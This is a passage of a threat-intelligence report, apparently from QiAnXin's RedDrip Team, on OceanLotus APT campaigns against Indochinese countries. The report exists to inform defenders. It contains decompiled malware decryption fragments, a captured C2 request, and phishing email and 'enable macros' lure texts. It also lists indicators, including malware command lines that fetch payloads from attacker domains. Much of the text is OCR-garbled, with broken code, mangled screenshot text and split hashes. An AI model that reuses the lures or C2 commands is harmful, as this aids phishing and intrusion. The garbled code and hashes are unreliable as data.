52 bzero(&v26, 33uLl);
53 vld = vB;

54 if (ve » 32)

55 14 = 321L;

56 memcpy (&v26, v9, vi4);
w15 = malloc(vle + 32);

58 *

59

60 *Ywl3;

51 12 = 8;

B2 if ( !(unsigned int)CCCrypt(a7 ~ lu, @LL, 1LL, &v26, 32LL, @LL, vlie, v1@, v1S, v1@ + 32, v23) )
63 /H

But the base64 used in the decryption is not the standard base64. The following figure
shows the base64 table of the malicious code:

@ 5 char aljklmnopabcdef[a]
@ aIjklmnopabcdef db]'IJKLFITJOPABCDEFGHQRSTUV‘L\JXghijklmnYZab:de‘Fopqutuv456789+/\vx z8123"
; DATA XREF o

: fun_Basebd+3A

_BYTE byte_180814990[64]

yte_1@@@lagsse db 'I', '1°, "K', 'L', '

db ‘o', 'E', 'F',
db W', X', 'g’,
db 'Z', 'a', 'b',
db s', T, Cu',
db /T, Twt, Tx,
ends

he encrypted data is sent to C2, as shown in the figure below:

C2: web.dalalepredaa.com

Stream Content

POST /store/ads/modal.css HTTP/1.1

Host: web.dalalepredaa. com

User-Agent: curl/7.36.1

Accept: */¥

content-Length: 334

Content-Type: application/X-www-form-urlencoded

£ o UEa8o o ok o o o 0rollE .o Lo o o UoWa ch 03" cB0 cdle o o o o o c3sall]

PP R P 9..... d..k...... %...=..09...U.Y.F..AR....¥r..H.W..55..jhlPQ.
.. > 16........ Y2 . Z..< P, m..z...v&gj...0...F. ..... Seia..
+...hFo. .. nA. . T(V:.fod:. 7. W-YWP. ..M. ..... Ib.E....C.=... & L.ou 1ot
(Eoccccoc EoocoltEano=coc 2]

..... e.....0.3g"h....# . {.......]

It is worth noting that some of the recent Mac samples of hibiscus were found to have
signatures. After deduplication, we found two commonly used ones:

Melinda Cline (P74QRJXB2F)

DAVID DOWELL (B5YH6VDVRE)

Office Documents

Through correlation analysis, it is found that the macro document sample and a large
number of samples have the same origin.

As can be seen from the comparison case below, the content of the document was
created at the same time and by the same author.
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(@ 89138‘3SSMeﬁdacdSBDesrbZdeﬁbE{t |aﬁ | bldfad0e5dd6Affae0i7oT02003 20 dock i)
L [2e | SEEE |EEEE | (2 [=a | #8EE uFnms

B 1= i =3 i A
=3 EiE

E i = i
1F Tushar i1 Tushar

BRE—RiRrE LEV BE—igfEs Windows User

TS 2 | AR T L
i i s =
BEEW Microseft DEEiee Word ERad Wierosoft DEfice Hord

4al 8

EiEE i |4

BREMEERTE 2018/8/22 18:24

e e e = FI=— o PR R I
BE—RiTENgIR BJE—RiTENREiE

SemiEadial 00:02:00 i EEEntE 00:07:00
gl k=
AERE MRS
AEHE k=]
TEnE 1 i " EmEE 5 =
b AES AT A TS
|
EON)] | EA®

The following figure is the template feature, template file name is very OceanLotus

characteristics.
12 8e13895504e643cd8e0 3787 7b25bdcb HOBIE |%ﬁ 2 b1dfad0e5dd6aacf7a00003 M doce Et: (e
BN =2 | AR [plEAEs] ERET R W
=it fE . EiE i 2
TR 1 FrEL 11490l
T80 1 T8 5957
FREA 1 ERsit 18
r e v times. png e Fasw. pre
Zni) = ma] =
SR TR E i TR &
BE B
b-d"3 b2
i 132 ¥B Foils 555 KB
HEEEHA 2018/1/5 11:01 - GEEELA 2019/2/1 19:05 —_
==L 20194145 11:01 2 EHA 2019/2/1 19:05
ihiaEEA 018/2/12 1544 iKislEH 2019/2/12 15:27
AT I smeme |
Bz 1 BRAAS 7
HEwE HELE
HEHL TEST (4 HEHL TEST (A4
-1 -
A A S A S
|
A 0 [ A %)

After analysis, we found that we summarized the author names commonly used in the
attack documents of OceanLotus, among which the largest attack activities were "DEV"
activity and "Tushar" activity.

blue:Author or changer
oTEnge:computer name

EEATISIER TR L
BREARRHEREFRERNTOER
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After correlation analysis of various dimensions, the document name and Hash value
involved in this series of malicious macro file launching activities can be obtained.

The document name

The document name

Test. The doc

Scan_Mau_Ao_Thun. Doc

The Content marketing Kaspersky. Doc
Doc. Doc

LY_ANH_TRUNG_CV. Doc

LY ANH TRUNG CV. Doc
LY_ANH_TRUNG_CV. Doc
LY_ANH_TRUNG_CV. Doc

CV - DucNguyenMinh. Doc

CV, Nguyen Minh Duc. Docx

Danh sach can bo vi pham.doc

Danh Sach Nhan Vien Bien Thu Tien Cong Ty.
Docx

Danh Sach Nhan Vien Bien Thu Tien Cong Ty.
Docx

CV - AnthonyWei - the CustomerService. Docx

Ho Chi Minh. Docx
DS - Card - ChienThang - TraVinh docx

HopDong - XXX - TP - 092018. Docx

BBLV_ASC_DG_092018. Docx

Indo. Docx

Danh sach cacnhadatadutranhbib2.9. Doc

1

MD5

5
c9ef8b5263651a08ea1b79057a5ee28

b858c08cf7807e462ca335233bd83fe7

¢313f8a5fd8ca391fc85193bc879ab02

473 fdfefa92725099ca87e992edbc92¢c

02 cec2f17a7910b6fa994f340bbbc297

dd5ae0c0a7e17d101f570812fec4e5e4

90 e5ff68bf06cb930ed8c040139¢4650

6 db450c4c756071ecafff425d6183d7d

cb39e2138af92c32e53c97c0aa590d48

8
e13895504e643cd8e0e87377b25bd6b

d3c27f779d615a1d3a35dff5e9561eb0

27425360
d18feea54860420006ea9833

cf0142da12509f544a59093495c3a6dd

b1df440e5dd64ffae9f7e792993f2f4c

878 fa022bd5e5caf678fe8d728ce42ee

f78be074f6bc67a712e751254df5f166

e2aed850c18449a43886fc790342132f

74 b456adf2ae708789fb2d34eccchb954

72263750
df84e24fe645206a51772c88

3 a574c28beca4f3c94d30e3cf3979f4c

ee836e0f7a40571523bf56dba59898f6

f6068b672a19ce14981df011a55081e4

00ac0d7337290b74bdd7f43ec4a67d-
db

https://ti.qianxin.com/blog/articles/oceanlotus-attacks-to-indochinese-peninsula-evolution-of-targets-techniques-and-procedure/

61/69



5/9/2019 BESEEL G
After analyzing the bait names of these samples, each has its own characteristics

1, the name has political characteristics: arrested activists list
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Include resume trolls

MINH DUC NGUYEN .
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EXPERIMENT.
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Can be linked to an email analyzed by @vupt_bka security researcher using the
OceanLotus resume phishing.

https://twitter.com/vupt bka/status/1083653486963638275

From: Minh Duc Nguyen [mailto:minhducso. ng@gmall.com]
Sent: Monday, September 24, 2018 3:45 M

To:

Subject: [APPLY CV AT - NGUYEN MINH DUC]

To whom it may concem,

My name is Minh Duc,

After reading and researching the position vou posted n Machine Leamng Forum on Facebook. 1'd like to express my mterest in applving.
‘With highly proficient in Data analvtics and strongly in Pyvthon I am more than confident and ready to be an collaborative member in vour team.
Also, I've anached my CV in this email

I'm looking forward to hearng from you soom

(Mr). Minh-Duc Nguyen

3. There are some documents showing the startup of the induction macro, which are
inconsistent with the previous induction interface.

. n Microsof.t‘
~:a Office

THE DOCUMENT HAS BEEN IRM PROTECTED
BY POLICY OF MICROSOFT!

1. Open the document in Microsoft Office.
2. If this document was downloaded from email, please clic

b - " from the yellow bar above.
3. Once you have “Cnable ", please click “
or” ” and choose “I'na =nt” from the yellow bz
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In addition, historical samples are also different from the latest sample technology. As
shown below, some historical samples do not use template injection technology, but use
direct macro code execution method, and the code to be executed is shown in the
document content, namely the OHN macro code mentioned in the section of sample
analysis.

S

ProtonMail

Document is protected by ProtonMail
To wiew this content, pll:llltlh:l! “Enable Eﬂllllq" from ﬂ|l§ll||ll’l' bar and then chiok “Enable Content™

After correlation analysis of the macro samples mentioned above, it can be found
that the earliest such attack was in 2017. The bait document uploaded by Vietham
was a test sample with a high probability from the file name.

SAMPLES 08 _11__12_2017 (317).
c4d35f3263fef4a533e7403682a034c3

4, the highest frequency of the Vietnamese file protection bait series
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Microsoft Word 2016

Tai liéu nay da dwoc luu trit dwdi phién ban khic véi phién ban hién tai cia tng dung
: phai kich hoat tinh nang twong thich
voi phién ban hién tai bang cach nhap vao nut « 2

Compression Files

In the process of analyzing a Thu moi 209.rar sample of OceanLotus, we found that the
generation time of the sample was suspected to be a custom suspect

4 [E = | B Thu mei 2019.rar\Thu mai 2019 - #3571 448.2 KB -
EfR g )iz = =E SR ERE
. (HREF) prac=s3
[®]Thu moi tham du hei nghi tai toan quoc. Cong hoa xa hoi .. 339.3 KB 1144 KB WEEF 2018-03-29 02:47
|j wwlib.dll 109.0 KB 59.6 KB MEERTE 2016-02-01 05:17

As seen from the upload time of the sample, the upload time to VT is March 1, 2019, and
the time difference in the compressed package is too large.

First Submission 2019-03-01 01:49:05
Last Submission 2019-03-01 01:49:05

Therefore, after correlation capture of this time, we found multiple correlation samples of
OceanlLotus.

The file name MD5

60982849 - c8e4-4039-8 f59 - dfb78d8bab0d

15 f5adf1-8798-49 bf - a6c3d90b69e b666-4 bcbc1bef20d2befdd290e31269e0174a
4052 d2e7 - cd4 ca42-4-8841-52 f782bbad 11 dfaa343552e8d470096a0a09a018930f

Ffeab6446 - e47 ab7a - 4 - b7ff - e461f9775177 9 b1ce9df321ce88ade4ff3bOada5d414

5 d47e097 - c3bc - 401 - e - 8 cOf - dald4eece6191551a31d37d1e96681cd1
e877280b368a
Thu moi 2019. Rar 76289f02a0b31143d87d5e35839fb24a

Therefore, it can be further confirmed that the OceanlLotus group will customize the
sample generation time, and batch generation of samples for delivery.

Conclusion
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This report covers a large number of attacks on Indochinese Peninsula countries and the
resources used by the OceanLotus Group, revealing its endless history of attacks,
extremely wide range of targets and very creative technical means. In attacks, the group
was always changing baits, payloads, AV evasion techniques, even domain names
assets are constantly evolving, reflects a very strong ability to fight and attack will.

Therefore, when we are tracking the attack activities of OceanlLotus against China, we
extend our understanding of the TTP of this notorious group. This process will never
end.

IOCs

Domain names:
syn.servebbs.com
word.webhop.info
beta.officopedia.com
outlook.updateoffices.net
outlook.betamedias.com
outlook.officebetas.com
office.allsafebrowsing.com
open.betaoffice.net
cortanazone.com
b.cortanazone.com
cortanasyn.com
api.blogdns.com
dominikmagoffin.com
blog.artinhauvin.com
worker.baraeme.com
kingsoftcdn.com
style.fontstaticloader.com
plan.evillese.com
bluesky2018man.com
enum.arkoorr.com

background.ristians.com
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pong.dynathome.net
zone.servehttp.com
cdn.eworldship-news.com
api.blogdns.com
online.stienolimache.xyz
image.fontstaticloader.com
mappingpotentials.com
vnbizcom.com
cdn3.onlinesurveygorilla.com
eworldship-news.com
enormousamuses.com
163mailservice.com
stackbio.com
mailserviceactivation.com
web.dalalepredaa.com
rio.imbandaad.com

p12.alerentice.com

Bait files
fd128b9f0cbdc374227cf5564371aacc
4a0144c7436e3ff67cf2d935d82d1743
4c30e792218d5526f6499d235448bdd9
d8aba375da7798be781cf3eab89ae7ab
2d3fb8d5b4cefc9660d98e0ad46ff91a
89e3f31c6261f4725b891¢8fd29049¢c9
7b0e819bd8304773c3648ab03c9f182a
c4d35f3263fef4a533e7403682a034c3
b1df440e5dd64ffae9f7e792993f2f4c
a76be0181705809898d5d7d9aed86ee8
2785311085b6ca782b476d9c2530259c¢

60501717f81eacd54facecf3ebadc306
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3d7cd531d17799832e262eb7995abde6

c7931fad4c144c1c4dc19ad4c4iciel7f

Correlated files:

5c9ef8b5263651a08ea1b79057a5ee28

b858c08cf7807e462ca335233bd83fe7

¢313f8a5fd8ca391fc85193bc879ab02

473fdfefa92725099ca87e992edbc92¢c

02cec2f17a7910b6fa994f340bbbc297

dd5ae0c0a7e17d101f570812fec4e5e4

90e5ff68bf06cb930ed8c040139¢c4650

6db450c4c756071ecafff425d6183d7d

cb39e2138af92¢32e53c97c0aa590d48

8e13895504e643cd8e0e87377b25bd6b

d3c27f779d615a1d3a35dff5e9561eb0

27425360d18feea54860420006ea9833

cf0142da12509f544a59093495c3a6dd

b1df440e5dd64ffae9f7e792993f2f4c

878fa022bd5e5caf678fe8d728ced2ee

f78be074f6bc67a712e751254df5f166

e2aed850c18449a43886fc79b342132f

74b456adf2ae708789fb2d34eccch954

72263750df84e24fe645206a51772c88

3a574c28becadf3c94d30e3¢cf3979f4¢c

ee836e0f7a40571523bf56dba59898f6

f6068b672a19ce14981df011a55081e4

00ac0d7337290b74bdd7f43ec4a67ddb

Correlated PE files:

2f9af6b9d73218c578653d6d9bd02d4d

€9d29501410e19938cd8e01630dc677b
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URL:

http[:]//download-

attachments.s3.amazonaws.com/db08b565038ac83e89e7b55201479f37ea49e525/f0c6ea8e-

d2f8-445f-b649-57808b2015b7

Sample characteristics

ZA:\Code\Macro_NB2\Request\PostData32.exe -u https://word.webhop.info/blak32.gif -t
200000

ZA:\Code\Macro_NB2\Request\PostData32.exe -u https://syn.servebbs.com/kuss32.gif -t

200000

UA:\Code\Nb2VBS\Request\PostData32.exe -u https://ristineho.com/threex32.png -t
60000

XA:\Code\Macro_NB2\Request\PostData32.exe -u https://cortanasyn.com/kirr32.png -t
200000

C:\Users\WIN7UTL64\Desktop\Macro_NB2_new\Request\PostData32.exe

{C:\Users\WIN7UTL64\Desktop\Macro_NB2_new\Request\PostData32.exe -u https://of-
fice.allsafebrowsing.com/fdsw32.png -t 240000

SecurityAndMaintenance_Error.bin
d:\work\malware\vinacap\SecurityAndMaintenance_Error.png
d:\work\forensics\vinacap\dfirnhule\files\SecurityAndMaintenance_Error.png

D:\work\forensics\vinacap\DFIR\Nhule\files\SecurityAndMaintenance_Error.png

MAC signatures:
Melinda Cline (P74QRJXB2F)

DAVID DOWELL (B5YH6VDVRE)
AES KEY:

Decrypted String 4E620ABEDAFB4D9866CC9D9C2D29E2D7EA18ADF1

Encrypted Packet 07E74FF2CE9688C8F79B91AB32C95D11C140D3AC
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Appendix
RedDrip Team

RedDrip Team of QiAnXin (Formly SkyEye Team), founded in 2015, focuses on the
research of APT attacks. As the first team of revealing OceanLotus (APT-C-00) attack,
RedDrip Team is also a key part of QiAnXin Threat Intelligence Center.

Our team has security analysts, developers, covering full cycle of threat intelligence
operation: data sourcing, processing, analyzing, and correlation. Our threat intelligence
supports QiAnXin products and third party products.

Relying on leading security data capacity and security expertise, we found several
noteworthy APT campaigns, including OceanLotus.
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